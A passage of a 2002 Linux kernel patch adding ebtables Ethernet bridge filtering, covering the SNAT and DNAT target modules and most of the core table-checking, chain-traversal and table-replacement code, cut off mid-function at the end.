(strcmp(tablename, "nat")) + return -EINVAL; + if (hookmask & ~(1 << NF_BR_POST_ROUTING)) + return -EINVAL; + if (INVALID_TARGET) + return -EINVAL; + return 0; +} + +static struct ebt_target snat = +{ + {NULL, NULL}, EBT_SNAT_TARGET, ebt_target_snat, ebt_target_snat_check, + NULL, THIS_MODULE +}; + +static int __init init(void) +{ + return ebt_register_target(&snat); +} + +static void __exit fini(void) +{ + ebt_unregister_target(&snat); +} + +module_init(init); +module_exit(fini); +EXPORT_NO_SYMBOLS; +MODULE_LICENSE("GPL"); --- /dev/null Thu Aug 24 11:00:32 2000 +++ linux-2.5.34-ebtables/net/bridge/netfilter/ebt_dnat.c Wed Sep 11 23:06:55 2002 @@ -0,0 +1,65 @@ +/* + * ebt_dnat + * + * Authors: + * Bart De Schuymer + * + * June, 2002 + * + */ + +#include +#include +#include +#include + +static int ebt_target_dnat(struct sk_buff **pskb, unsigned int hooknr, + const struct net_device *in, const struct net_device *out, + const void *data, unsigned int datalen) +{ + struct ebt_nat_info *info = (struct ebt_nat_info *)data; + + memcpy(((**pskb).mac.ethernet)->h_dest, info->mac, + ETH_ALEN * sizeof(unsigned char)); + return info->target; +} + +static int ebt_target_dnat_check(const char *tablename, unsigned int hookmask, + const struct ebt_entry *e, void *data, unsigned int datalen) +{ + struct ebt_nat_info *info = (struct ebt_nat_info *)data; + + if (BASE_CHAIN && info->target == EBT_RETURN) + return -EINVAL; + CLEAR_BASE_CHAIN_BIT; + if ( (strcmp(tablename, "nat") || + (hookmask & ~((1 << NF_BR_PRE_ROUTING) | (1 << NF_BR_LOCAL_OUT)))) && + (strcmp(tablename, "broute") || hookmask & ~(1 << NF_BR_BROUTING)) ) + return -EINVAL; + if (datalen != sizeof(struct ebt_nat_info)) + return -EINVAL; + if (INVALID_TARGET) + return -EINVAL; + return 0; +} + +static struct ebt_target dnat = +{ + {NULL, NULL}, EBT_DNAT_TARGET, ebt_target_dnat, ebt_target_dnat_check, + NULL, THIS_MODULE +}; + +static int __init init(void) +{ + return ebt_register_target(&dnat); +} + +static void __exit fini(void) +{ + ebt_unregister_target(&dnat); +} + +module_init(init); +module_exit(fini); +EXPORT_NO_SYMBOLS; +MODULE_LICENSE("GPL"); --- /dev/null Thu Aug 24 11:00:32 2000 +++ linux-2.5.34-ebtables/net/bridge/netfilter/ebtables.c Wed Sep 11 23:06:55 2002 @@ -0,0 +1,1484 @@ +/* + * ebtables + * + * Author: + * Bart De Schuymer + * + * ebtables.c,v 2.0, July, 2002 + * + * This code is stongly inspired on the iptables code which is + * Copyright (C) 1999 Paul `Rusty' Russell & Michael J. Neuling + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ + +// used for print_string +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +// needed for logical [in,out]-dev filtering +#include "../br_private.h" + +// list_named_find +#define ASSERT_READ_LOCK(x) +#define ASSERT_WRITE_LOCK(x) +#include + +#if 0 // use this for remote debugging +// Copyright (C) 1998 by Ori Pomerantz +// Print the string to the appropriate tty, the one +// the current task uses +static void print_string(char *str) +{ + struct tty_struct *my_tty; + + /* The tty for the current task */ + my_tty = current->tty; + if (my_tty != NULL) { + (*(my_tty->driver).write)(my_tty, 0, str, strlen(str)); + (*(my_tty->driver).write)(my_tty, 0, "\015\012", 2); + } +} + +#define BUGPRINT(args) print_string(args); +#else +#define BUGPRINT(format, args...) printk("kernel msg: ebtables bug: please "\ + "report to author: "format, ## args) +// #define BUGPRINT(format, args...) +#endif +#define MEMPRINT(format, args...) printk("kernel msg: ebtables "\ + ": out of memory: "format, ## args) +// #define MEMPRINT(format, args...) + + + +// Each cpu has its own set of counters, so there is no need for write_lock in +// the softirq +// For reading or updating the counters, the user context needs to +// get a write_lock + +// The size of each set of counters is altered to get cache alignment +#define SMP_ALIGN(x) (((x) + SMP_CACHE_BYTES-1) & ~(SMP_CACHE_BYTES-1)) +#define COUNTER_OFFSET(n) (SMP_ALIGN(n * sizeof(struct ebt_counter))) +#define COUNTER_BASE(c, n, cpu) ((struct ebt_counter *)(((char *)c) + \ + COUNTER_OFFSET(n) * cpu)) + + + +static DECLARE_MUTEX(ebt_mutex); +static LIST_HEAD(ebt_tables); +static LIST_HEAD(ebt_targets); +static LIST_HEAD(ebt_matches); +static LIST_HEAD(ebt_watchers); + +static struct ebt_target ebt_standard_target = +{ {NULL, NULL}, EBT_STANDARD_TARGET, NULL, NULL, NULL, NULL}; + +static inline int ebt_do_watcher (struct ebt_entry_watcher *w, + const struct sk_buff *skb, const struct net_device *in, + const struct net_device *out) +{ + w->u.watcher->watcher(skb, in, out, w->data, + w->watcher_size); + // watchers don't give a verdict + return 0; +} + +static inline int ebt_do_match (struct ebt_entry_match *m, + const struct sk_buff *skb, const struct net_device *in, + const struct net_device *out) +{ + return m->u.match->match(skb, in, out, m->data, + m->match_size); +} + +static inline int ebt_dev_check(char *entry, const struct net_device *device) +{ + if (*entry == '\0') + return 0; + if (!device) + return 1; + return !!strcmp(entry, device->name); +} + +#define FWINV2(bool,invflg) ((bool) ^ !!(e->invflags & invflg)) +// process standard matches +static inline int ebt_basic_match(struct ebt_entry *e, struct ethhdr *h, + const struct net_device *in, const struct net_device *out) +{ + int verdict, i; + + if (e->bitmask & EBT_802_3) { + if (FWINV2(ntohs(h->h_proto) >= 1536, EBT_IPROTO)) + return 1; + } else if (!(e->bitmask & EBT_NOPROTO) && + FWINV2(e->ethproto != h->h_proto, EBT_IPROTO)) + return 1; + + if (FWINV2(ebt_dev_check(e->in, in), EBT_IIN)) + return 1; + if (FWINV2(ebt_dev_check(e->out, out), EBT_IOUT)) + return 1; + if ((!in || !in->br_port) ? 0 : FWINV2(ebt_dev_check( + e->logical_in, &in->br_port->br->dev), EBT_ILOGICALIN)) + return 1; + if ((!out || !out->br_port) ? 0 : FWINV2(ebt_dev_check( + e->logical_out, &out->br_port->br->dev), EBT_ILOGICALOUT)) + return 1; + + if (e->bitmask & EBT_SOURCEMAC) { + verdict = 0; + for (i = 0; i < 6; i++) + verdict |= (h->h_source[i] ^ e->sourcemac[i]) & + e->sourcemsk[i]; + if (FWINV2(verdict != 0, EBT_ISOURCE) ) + return 1; + } + if (e->bitmask & EBT_DESTMAC) { + verdict = 0; + for (i = 0; i < 6; i++) + verdict |= (h->h_dest[i] ^ e->destmac[i]) & + e->destmsk[i]; + if (FWINV2(verdict != 0, EBT_IDEST) ) + return 1; + } + return 0; +} + +// Do some firewalling +unsigned int ebt_do_table (unsigned int hook, struct sk_buff **pskb, + const struct net_device *in, const struct net_device *out, + struct ebt_table *table) +{ + int i, nentries; + struct ebt_entry *point; + struct ebt_counter *counter_base, *cb_base; + struct ebt_entry_target *t; + int verdict, sp = 0; + struct ebt_chainstack *cs; + struct ebt_entries *chaininfo; + char *base; + struct ebt_table_info *private = table->private; + + read_lock_bh(&table->lock); + cb_base = COUNTER_BASE(private->counters, private->nentries, + smp_processor_id()); + if (private->chainstack) + cs = private->chainstack[smp_processor_id()]; + else + cs = NULL; + chaininfo = private->hook_entry[hook]; + nentries = private->hook_entry[hook]->nentries; + point = (struct ebt_entry *)(private->hook_entry[hook]->data); + counter_base = cb_base + private->hook_entry[hook]->counter_offset; + // base for chain jumps + base = (char *)chaininfo; + i = 0; + while (i < nentries) { + if (ebt_basic_match(point, (**pskb).mac.ethernet, in, out)) + goto letscontinue; + + if (EBT_MATCH_ITERATE(point, ebt_do_match, *pskb, in, out) != 0) + goto letscontinue; + + // increase counter + (*(counter_base + i)).pcnt++; + + // these should only watch: not modify, nor tell us + // what to do with the packet + EBT_WATCHER_ITERATE(point, ebt_do_watcher, *pskb, in, + out); + + t = (struct ebt_entry_target *) + (((char *)point) + point->target_offset); + // standard target + if (!t->u.target->target) + verdict = ((struct ebt_standard_target *)t)->verdict; + else + verdict = t->u.target->target(pskb, hook, + in, out, t->data, t->target_size); + if (verdict == EBT_ACCEPT) { + read_unlock_bh(&table->lock); + return NF_ACCEPT; + } + if (verdict == EBT_DROP) { + read_unlock_bh(&table->lock); + return NF_DROP; + } + if (verdict == EBT_RETURN) { +letsreturn: +#ifdef CONFIG_NETFILTER_DEBUG + if (sp == 0) { + BUGPRINT("RETURN on base chain"); + // act like this is EBT_CONTINUE + goto letscontinue; + } +#endif + sp--; + // put all the local variables right + i = cs[sp].n; + chaininfo = cs[sp].chaininfo; + nentries = chaininfo->nentries; + point = cs[sp].e; + counter_base = cb_base + + chaininfo->counter_offset; + continue; + } + if (verdict == EBT_CONTINUE) + goto letscontinue; +#ifdef CONFIG_NETFILTER_DEBUG + if (verdict < 0) { + BUGPRINT("bogus standard verdict\n"); + read_unlock_bh(&table->lock); + return NF_DROP; + } +#endif + // jump to a udc + cs[sp].n = i + 1; + cs[sp].chaininfo = chaininfo; + cs[sp].e = (struct ebt_entry *) + (((char *)point) + point->next_offset); + i = 0; + chaininfo = (struct ebt_entries *) (base + verdict); +#ifdef CONFIG_NETFILTER_DEBUG + if (chaininfo->distinguisher) { + BUGPRINT("jump to non-chain\n"); + read_unlock_bh(&table->lock); + return NF_DROP; + } +#endif + nentries = chaininfo->nentries; + point = (struct ebt_entry *)chaininfo->data; + counter_base = cb_base + chaininfo->counter_offset; + sp++; + continue; +letscontinue: + point = (struct ebt_entry *) + (((char *)point) + point->next_offset); + i++; + } + + // I actually like this :) + if (chaininfo->policy == EBT_RETURN) + goto letsreturn; + if (chaininfo->policy == EBT_ACCEPT) { + read_unlock_bh(&table->lock); + return NF_ACCEPT; + } + read_unlock_bh(&table->lock); + return NF_DROP; +} + +// If it succeeds, returns element and locks mutex +static inline void * +find_inlist_lock_noload(struct list_head *head, const char *name, int *error, + struct semaphore *mutex) +{ + void *ret; + + *error = down_interruptible(mutex); + if (*error != 0) + return NULL; + + ret = list_named_find(head, name); + if (!ret) { + *error = -ENOENT; + up(mutex); + } + return ret; +} + +#ifndef CONFIG_KMOD +#define find_inlist_lock(h,n,p,e,m) find_inlist_lock_noload((h),(n),(e),(m)) +#else +static void * +find_inlist_lock(struct list_head *head, const char *name, const char *prefix, + int *error, struct semaphore *mutex) +{ + void *ret; + + ret = find_inlist_lock_noload(head, name, error, mutex); + if (!ret) { + char modulename[EBT_FUNCTION_MAXNAMELEN + strlen(prefix) + 1]; + strcpy(modulename, prefix); + strcat(modulename, name); + request_module(modulename); + ret = find_inlist_lock_noload(head, name, error, mutex); + } + return ret; +} +#endif + +static inline struct ebt_table * +find_table_lock(const char *name, int *error, struct semaphore *mutex) +{ + return find_inlist_lock(&ebt_tables, name, "ebtable_", error, mutex); +} + +static inline struct ebt_match * +find_match_lock(const char *name, int *error, struct semaphore *mutex) +{ + return find_inlist_lock(&ebt_matches, name, "ebt_", error, mutex); +} + +static inline struct ebt_watcher * +find_watcher_lock(const char *name, int *error, struct semaphore *mutex) +{ + return find_inlist_lock(&ebt_watchers, name, "ebt_", error, mutex); +} + +static inline struct ebt_target * +find_target_lock(const char *name, int *error, struct semaphore *mutex) +{ + return find_inlist_lock(&ebt_targets, name, "ebt_", error, mutex); +} + +static inline int +ebt_check_match(struct ebt_entry_match *m, struct ebt_entry *e, + const char *name, unsigned int hookmask, unsigned int *cnt) +{ + struct ebt_match *match; + int ret; + + if (((char *)m) + m->match_size + sizeof(struct ebt_entry_match) > + ((char *)e) + e->watchers_offset) + return -EINVAL; + match = find_match_lock(m->u.name, &ret, &ebt_mutex); + if (!match) + return ret; + m->u.match = match; + if (match->me) + __MOD_INC_USE_COUNT(match->me); + up(&ebt_mutex); + if (match->check && + match->check(name, hookmask, e, m->data, m->match_size) != 0) { + BUGPRINT("match->check failed\n"); + if (match->me) + __MOD_DEC_USE_COUNT(match->me); + return -EINVAL; + } + (*cnt)++; + return 0; +} + +static inline int +ebt_check_watcher(struct ebt_entry_watcher *w, struct ebt_entry *e, + const char *name, unsigned int hookmask, unsigned int *cnt) +{ + struct ebt_watcher *watcher; + int ret; + + if (((char *)w) + w->watcher_size + sizeof(struct ebt_entry_watcher) > + ((char *)e) + e->target_offset) + return -EINVAL; + watcher = find_watcher_lock(w->u.name, &ret, &ebt_mutex); + if (!watcher) + return ret; + w->u.watcher = watcher; + if (watcher->me) + __MOD_INC_USE_COUNT(watcher->me); + up(&ebt_mutex); + if (watcher->check && + watcher->check(name, hookmask, e, w->data, w->watcher_size) != 0) { + BUGPRINT("watcher->check failed\n"); + if (watcher->me) + __MOD_DEC_USE_COUNT(watcher->me); + return -EINVAL; + } + (*cnt)++; + return 0; +} + +// this one is very careful, as it is the first function +// to parse the userspace data +static inline int +ebt_check_entry_size_and_hooks(struct ebt_entry *e, + struct ebt_table_info *newinfo, char *base, char *limit, + struct ebt_entries **hook_entries, unsigned int *n, unsigned int *cnt, + unsigned int *totalcnt, unsigned int *udc_cnt, unsigned int valid_hooks) +{ + int i; + + for (i = 0; i < NF_BR_NUMHOOKS; i++) { + if ((valid_hooks & (1 << i)) == 0) + continue; + if ( (char *)hook_entries[i] - base == + (char *)e - newinfo->entries) + break; + } + // beginning of a new chain + // if i == NF_BR_NUMHOOKS it must be a user defined chain + if (i != NF_BR_NUMHOOKS || !(e->bitmask & EBT_ENTRY_OR_ENTRIES)) { + if ((e->bitmask & EBT_ENTRY_OR_ENTRIES) != 0) { + // we make userspace set this right, + // so there is no misunderstanding + BUGPRINT("EBT_ENTRY_OR_ENTRIES shouldn't be set " + "in distinguisher\n"); + return -EINVAL; + } + // this checks if the previous chain has as many entries + // as it said it has + if (*n != *cnt) { + BUGPRINT("nentries does not equal the nr of entries " + "in the chain\n"); + return -EINVAL; + } + // before we look at the struct, be sure it is not too big + if ((char *)hook_entries[i] + sizeof(struct ebt_entries) + > limit) { + BUGPRINT("entries_size too small\n"); + return -EINVAL; + } + if (((struct ebt_entries *)e)->policy != EBT_DROP && + ((struct ebt_entries *)e)->policy != EBT_ACCEPT) { + // only RETURN from udc + if (i != NF_BR_NUMHOOKS || + ((struct ebt_entries *)e)->policy != EBT_RETURN) { + BUGPRINT("bad policy\n"); + return -EINVAL; + } + } + if (i == NF_BR_NUMHOOKS) // it's a user defined chain + (*udc_cnt)++; + else + newinfo->hook_entry[i] = (struct ebt_entries *)e; + if (((struct ebt_entries *)e)->counter_offset != *totalcnt) { + BUGPRINT("counter_offset != totalcnt"); + return -EINVAL; + } + *n = ((struct ebt_entries *)e)->nentries; + *cnt = 0; + return 0; + } + // a plain old entry, heh + if (sizeof(struct ebt_entry) > e->watchers_offset || + e->watchers_offset > e->target_offset || + e->target_offset >= e->next_offset) { + BUGPRINT("entry offsets not in right order\n"); + return -EINVAL; + } + // this is not checked anywhere else + if (e->next_offset - e->target_offset < sizeof(struct ebt_entry_target)) { + BUGPRINT("target size too small\n"); + return -EINVAL; + } + + (*cnt)++; + (*totalcnt)++; + return 0; +} + +struct ebt_cl_stack +{ + struct ebt_chainstack cs; + int from; + unsigned int hookmask; +}; + +// we need these positions to check that the jumps to a different part of the +// entries is a jump to the beginning of a new chain. +static inline int +ebt_get_udc_positions(struct ebt_entry *e, struct ebt_table_info *newinfo, + struct ebt_entries **hook_entries, unsigned int *n, unsigned int valid_hooks, + struct ebt_cl_stack *udc) +{ + int i; + + // we're only interested in chain starts + if (e->bitmask & EBT_ENTRY_OR_ENTRIES) + return 0; + for (i = 0; i < NF_BR_NUMHOOKS; i++) { + if ((valid_hooks & (1 << i)) == 0) + continue; + if (newinfo->hook_entry[i] == (struct ebt_entries *)e) + break; + } + // only care about udc + if (i != NF_BR_NUMHOOKS) + return 0; + + udc[*n].cs.chaininfo = (struct ebt_entries *)e; + // these initialisations are depended on later in check_chainloops() + udc[*n].cs.n = 0; + udc[*n].hookmask = 0; + + (*n)++; + return 0; +} + +static inline int +ebt_cleanup_match(struct ebt_entry_match *m, unsigned int *i) +{ + if (i && (*i)-- == 0) + return 1; + if (m->u.match->destroy) + m->u.match->destroy(m->data, m->match_size); + if (m->u.match->me) + __MOD_DEC_USE_COUNT(m->u.match->me); + + return 0; +} + +static inline int +ebt_cleanup_watcher(struct ebt_entry_watcher *w, unsigned int *i) +{ + if (i && (*i)-- == 0) + return 1; + if (w->u.watcher->destroy) + w->u.watcher->destroy(w->data, w->watcher_size); + if (w->u.watcher->me) + __MOD_DEC_USE_COUNT(w->u.watcher->me); + + return 0; +} + +static inline int +ebt_cleanup_entry(struct ebt_entry *e, unsigned int *cnt) +{ + struct ebt_entry_target *t; + + if ((e->bitmask & EBT_ENTRY_OR_ENTRIES) == 0) + return 0; + // we're done + if (cnt && (*cnt)-- == 0) + return 1; + EBT_WATCHER_ITERATE(e, ebt_cleanup_watcher, NULL); + EBT_MATCH_ITERATE(e, ebt_cleanup_match, NULL); + t = (struct ebt_entry_target *)(((char *)e) + e->target_offset); + if (t->u.target->destroy) + t->u.target->destroy(t->data, t->target_size); + if (t->u.target->me) + __MOD_DEC_USE_COUNT(t->u.target->me); + + return 0; +} + +static inline int +ebt_check_entry(struct ebt_entry *e, struct ebt_table_info *newinfo, + const char *name, unsigned int *cnt, unsigned int valid_hooks, + struct ebt_cl_stack *cl_s, unsigned int udc_cnt) +{ + struct ebt_entry_target *t; + struct ebt_target *target; + unsigned int i, j, hook = 0, hookmask = 0; + int ret; + + // Don't mess with the struct ebt_entries + if ((e->bitmask & EBT_ENTRY_OR_ENTRIES) == 0) + return 0; + + if (e->bitmask & ~EBT_F_MASK) { + BUGPRINT("Unknown flag for bitmask\n"); + return -EINVAL; + } + if (e->invflags & ~EBT_INV_MASK) { + BUGPRINT("Unknown flag for inv bitmask\n"); + return -EINVAL; + } + if ( (e->bitmask & EBT_NOPROTO) && (e->bitmask & EBT_802_3) ) { + BUGPRINT("NOPROTO & 802_3 not allowed\n"); + return -EINVAL; + } + // what hook do we belong to? + for (i = 0; i < NF_BR_NUMHOOKS; i++) { + if ((valid_hooks & (1 << i)) == 0) + continue; + if ((char *)newinfo->hook_entry[i] < (char *)e) + hook = i; + else + break; + } + // (1 << NF_BR_NUMHOOKS) tells the check functions the rule is on + // a base chain + if (i < NF_BR_NUMHOOKS) + hookmask = (1 << hook) | (1 << NF_BR_NUMHOOKS); + else { + for (i = 0; i < udc_cnt; i++) + if ((char *)(cl_s[i].cs.chaininfo) > (char *)e) + break; + if (i == 0) + hookmask = (1 << hook) | (1 << NF_BR_NUMHOOKS); + else + hookmask = cl_s[i - 1].hookmask; + } + i = 0; + ret = EBT_MATCH_ITERATE(e, ebt_check_match, e, name, hookmask, &i); + if (ret != 0) + goto cleanup_matches; + j = 0; + ret = EBT_WATCHER_ITERATE(e, ebt_check_watcher, e, name, hookmask, &j); + if (ret != 0) + goto cleanup_watchers; + t = (struct ebt_entry_target *)(((char *)e) + e->target_offset); + target = find_target_lock(t->u.name, &ret, &ebt_mutex); + if (!target) + goto cleanup_watchers; + if (target->me) + __MOD_INC_USE_COUNT(target->me); + up(&ebt_mutex); + + t->u.target = target; + if (t->u.target == &ebt_standard_target) { + if (e->target_offset + sizeof(struct ebt_standard_target) > + e->next_offset) { + BUGPRINT("Standard target size too big\n"); + ret = -EFAULT; + goto cleanup_watchers; + } + if (((struct ebt_standard_target *)t)->verdict < + -NUM_STANDARD_TARGETS) { + BUGPRINT("Invalid standard target\n"); + ret = -EFAULT; + goto cleanup_watchers; + } + } else if ((e->target_offset + t->target_size + + sizeof(struct ebt_entry_target) > e->next_offset) || + (t->u.target->check && + t->u.target->check(name, hookmask, e, t->data, t->target_size) != 0)){ + if (t->u.target->me) + __MOD_DEC_USE_COUNT(t->u.target->me); + ret = -EFAULT; + goto cleanup_watchers; + } + (*cnt)++; + return 0; +cleanup_watchers: + EBT_WATCHER_ITERATE(e, ebt_cleanup_watcher, &j); +cleanup_matches: + EBT_MATCH_ITERATE(e, ebt_cleanup_match, &i); + return ret; +} + +// checks for loops and sets the hook mask for udc +// the hook mask for udc tells us from which base chains the udc can be +// accessed. This mask is a parameter to the check() functions of the extensions +int check_chainloops(struct ebt_entries *chain, struct ebt_cl_stack *cl_s, + unsigned int udc_cnt, unsigned int hooknr, char *base) +{ + int i, chain_nr = -1, pos = 0, nentries = chain->nentries, verdict; + struct ebt_entry *e = (struct ebt_entry *)chain->data; + struct ebt_entry_target *t; + + while (pos < nentries || chain_nr != -1) { + // end of udc, go back one 'recursion' step + if (pos == nentries) { + // put back values of the time when this chain was called + e = cl_s[chain_nr].cs.e; + if (cl_s[chain_nr].from != -1) + nentries = + cl_s[cl_s[chain_nr].from].cs.chaininfo->nentries; + else + nentries = chain->nentries; + pos = cl_s[chain_nr].cs.n; + // make sure we won't see a loop that isn't one + cl_s[chain_nr].cs.n = 0; + chain_nr = cl_s[chain_nr].from; + if (pos == nentries) + continue; + } + t = (struct ebt_entry_target *) + (((char *)e) + e->target_offset); + if (strcmp(t->u.name, EBT_STANDARD_TARGET)) + goto letscontinue; + if (e->target_offset + sizeof(struct ebt_standard_target) > + e->next_offset) { + BUGPRINT("Standard target size too big\n"); + return -1; + } + verdict = ((struct ebt_standard_target *)t)->verdict; + if (verdict >= 0) { // jump to another chain + struct ebt_entries *hlp2 = + (struct ebt_entries *)(base + verdict); + for (i = 0; i < udc_cnt; i++) + if (hlp2 == cl_s[i].cs.chaininfo) + break; + // bad destination or loop + if (i == udc_cnt) { + BUGPRINT("bad destination\n"); + return -1; + } + if (cl_s[i].cs.n) { + BUGPRINT("loop\n"); + return -1; + } + // this can't be 0, so the above test is correct + cl_s[i].cs.n = pos + 1; + pos = 0; + cl_s[i].cs.e = ((void *)e + e->next_offset); + e = (struct ebt_entry *)(hlp2->data); + nentries = hlp2->nentries; + cl_s[i].from = chain_nr; + chain_nr = i; + // this udc is accessible from the base chain for hooknr + cl_s[i].hookmask |= (1 << hooknr); + continue; + } +letscontinue: + e = (void *)e + e->next_offset; + pos++; + } + return 0; +} + +// do the parsing of the table/chains/entries/matches/watchers/targets, heh +static int translate_table(struct ebt_replace *repl, + struct ebt_table_info *newinfo) +{ + unsigned int i, j, k, udc_cnt; + int ret; + struct ebt_cl_stack *cl_s = NULL; // used in the checking for chain loops + + i = 0; + while (i < NF_BR_NUMHOOKS && !(repl->valid_hooks & (1 << i))) + i++; + if (i == NF_BR_NUMHOOKS) { + BUGPRINT("No valid hooks specified\n"); + return -EINVAL; + } + if (repl->hook_entry[i] != (struct ebt_entries *)repl->entries) { + BUGPRINT("Chains don't start at beginning\n"); + return -EINVAL; + } + // make sure chains are ordered after each other in same order + // as their corresponding hooks + for (j = i + 1; j < NF_BR_NUMHOOKS; j++) { + if (!(repl->valid_hooks & (1 << j))) + continue; + if ( repl->hook_entry[j] <= repl->hook_entry[i] ) { + BUGPRINT("Hook order must be followed\n"); + return -EINVAL; + } + i = j; + } + + for (i = 0; i < NF_BR_NUMHOOKS; i++) + newinfo->hook_entry[i] = NULL; + + newinfo->entries_size = repl->entries_size; + newinfo->nentries = repl->nentries; + + // do some early checkings and initialize some things + i = 0; // holds the expected nr. of entries for the chain + j = 0; // holds the up to now counted entries for the chain + k = 0; // holds the total nr. of entries, should equal + // newinfo->nentries afterwards + udc_cnt = 0; // will hold the nr. of user defined chains (udc) + ret = EBT_ENTRY_ITERATE(newinfo->entries, newinfo->entries_size, + ebt_check_entry_size_and_hooks, newinfo, repl->entries, + repl->entries + repl->entries_size, repl->hook_entry, &i, &j, &k, + &udc_cnt, repl->valid_hooks); + + if (ret != 0) + return ret; + + if (i != j) { + BUGPRINT("nentries does not equal the nr of entries in the " + "(last) chain\n"); + return -EINVAL; + } + if (k != newinfo->nentries) { + BUGPRINT("Total nentries is wrong\n"); + return -EINVAL; + } + + // check if all valid hooks have a chain + for (i = 0; i < NF_BR_NUMHOOKS; i++) { + if (newinfo->hook_entry[i] == NULL && + (repl->valid_hooks & (1 << i))) { + BUGPRINT("Valid hook without chain\n"); + return -EINVAL; + } + } + + // Get the location of the udc, put them in an array + // While we're at it, allocate the chainstack + if (udc_cnt) { + // this will get free'd in do_replace()/ebt_register_table() + // if an error occurs + newinfo->chainstack = (struct ebt_chainstack **) + vmalloc(NR_CPUS * sizeof(struct ebt_chainstack)); + if (!newinfo->chainstack) + return -ENOMEM; + for (i = 0; i < NR_CPUS; i++) { + newinfo->chainstack[i] = + vmalloc(udc_cnt * sizeof(struct ebt_chainstack)); + if (!newinfo->chainstack[i]) { + while (i) + vfree(newinfo->chainstack[--i]); + vfree(newinfo->chainstack); + newinfo->chainstack = NULL; + return -ENOMEM; + } + } + + cl_s = (struct ebt_cl_stack *) + vmalloc(udc_cnt * sizeof(struct ebt_cl_stack)); + if (!cl_s) + return -ENOMEM; + i = 0; // the i'th udc + EBT_ENTRY_ITERATE(newinfo->entries, newinfo->entries_size, + ebt_get_udc_positions, newinfo, repl->hook_entry, &i, + repl->valid_hooks, cl_s); + // sanity check + if (i != udc_cnt) { + BUGPRINT("i != udc_cnt\n"); + vfree(cl_s); + return -EFAULT; + } + } + + // Check for loops + for (i = 0; i < NF_BR_NUMHOOKS; i++) + if (repl->valid_hooks & (1 << i)) + if (check_chainloops(newinfo->hook_entry[i], + cl_s, udc_cnt, i, newinfo->entries)) { + if (cl_s) + vfree(cl_s); + return -EINVAL; + } + + // we now know the following (along with E=mc²): + // - the nr of entries in each chain is right + // - the size of the allocated space is right + // - all valid hooks have a corresponding chain + // - there are no loops + // - wrong data can still be on the level of a single entry + // - could be there are jumps to places that are not the + // beginning of a chain. This can only occur in chains that + // are not accessible from any base chains, so we don't care. + + // used to know what we need to clean up if something goes wrong + i = 0; + ret = EBT_ENTRY_ITERATE(newinfo->entries, newinfo->entries_size, + ebt_check_entry, newinfo, repl->name, &i, repl->valid_hooks, + cl_s, udc_cnt); + if (ret != 0) { + EBT_ENTRY_ITERATE(newinfo->entries, newinfo->entries_size, + ebt_cleanup_entry, &i); + } + if (cl_s) + vfree(cl_s); + return ret; +} + +// called under write_lock +static void get_counters(struct ebt_counter *oldcounters, + struct ebt_counter *counters, unsigned int nentries) +{ + int i, cpu; + struct ebt_counter *counter_base; + + // counters of cpu 0 + memcpy(counters, oldcounters, + sizeof(struct ebt_counter) * nentries); + // add other counters to those of cpu 0 + for (cpu = 1; cpu < NR_CPUS; cpu++) { + counter_base = COUNTER_BASE(oldcounters, nentries, cpu); + for (i = 0; i < nentries; i++) + counters[i].pcnt += counter_base[i].pcnt; + } +} + +// replace the table +static int do_replace(void *user, unsigned int len) +{ + int ret, i, countersize; + struct ebt_table_info *newinfo; + struct ebt_replace tmp; + struct ebt_table *t; + struct ebt_counter *counterstmp = NULL; + // used to be able to unlock earlier + struct ebt_table_info *table; + + if (copy_from_user(&tmp, user, sizeof(tmp)) != 0) + return -EFAULT; + + if (len != sizeof(tmp) + tmp.entries_size) { + BUGPRINT("Wrong len argument\n"); + return -EINVAL; + } + + if (tmp.entries_size == 0) { + BUGPRINT("Entries_size never zero\n"); + return -EINVAL; + } + countersize = COUNTER_OFFSET(tmp.nentries) * NR_CPUS; + newinfo = (struct ebt_table_info *) + vmalloc(sizeof(struct ebt_table_info) + countersize); + if (!newinfo) + return -ENOMEM; + + if (countersize) + memset(newinfo->counters, 0, countersize); + + newinfo->entries = (char *)vmalloc(tmp.entries_size); + if (!newinfo->entries) { + ret = -ENOMEM; + goto free_newinfo; + } + if (copy_from_user( + newinfo->entries, tmp.entries, tmp.entries_size) != 0) { + BUGPRINT("Couldn't copy entries from userspace\n"); + ret = -EFAULT; + goto free_entries; + } + + // the user wants counters back + // the check on the size is done later, when we have the lock + if (tmp.num_counters) { + counterstmp = (struct ebt_counter *) + vmalloc(tmp.num_counters * sizeof(struct ebt_counter)); + if (!counterstmp) { + ret = -ENOMEM; + goto free_entries; + } + } + else + counterstmp = NULL; + + // this can get initialized by translate_table() + newinfo->chainstack = NULL; + ret = translate_table(&tmp, newinfo); + + if (ret != 0) + goto free_counterstmp; + + t = find_table_lock(tmp.name, &ret, &ebt_mutex); + if (!t) + goto free_iterate; + + // the table doesn't like it + if (t->check && (ret = t->check(newinfo, tmp.valid_hooks))) + goto free_unlock; + + if (tmp.num_counters && tmp.num_counters != t->private->nentries) { + BUGPRINT("Wrong nr. of counters requested\n"); + ret = -EINVAL; + goto free_unlock; + } + + // we have the mutex lock, so no danger in reading this pointer + table = t->private; + // we need an atomic snapshot of the counters + write_lock_bh(&t->lock); + if (tmp.num_counters) + get_counters(t->private->counters, counterstmp, + t->private->nentries); + + t->private = newinfo; + write_unlock_bh(&t->lock); + up(&ebt_mutex); + // So, a user can change the chains while having messed up her counter + // allocation. Only reason why this is done is because this way the lock + // is held only once, while this doesn't bring the kernel into a + // dangerous state. + if (tmp.num_counters && + copy_to_user(tmp.counters, counterstmp, + tmp.num_counters * sizeof(struct ebt_counter))) { + BUGPRINT("Couldn't copy counters to userspace\n"); + ret = -EFAULT; + } + else + ret = 0; + + // decrease module count and free resources + EBT_ENTRY_ITERATE(table->entries, table->entries_size, + ebt_cleanup_entry, NULL); + + vfree(table->entries); + if (table->chainstack) { + for (i = 0; i < NR_CPUS; i++) + vfree(table->chainstack[i]); + vfree(table->chainstack); + } + vfree(table); + + if (counterstmp) + vfree(counterstmp); + return ret; + +free_unlock: + up(&ebt_mutex); +free_iterate: + EBT_ENTRY_ITERATE(newinfo->entries, newinfo->entries_size, + ebt_cleanup_entry, NULL); +free_counterstmp: + if (counterstmp) + vfree(counterstmp); + // can be initialized in translate_table() + if (newinfo->chainstack) { + for (i = 0; i < NR_CPUS; i++) + vfree(newinfo->chainstack[i]); + vfree(newinfo->chainstack); + } +free_entries: + if (newinfo->entries) + vfree(newinfo->entries); +free_newinfo: + if (newinfo) + vfree(newinfo); + return ret; +} + +int ebt_register_target(struct ebt_target *target) +{ + int ret; + + ret = 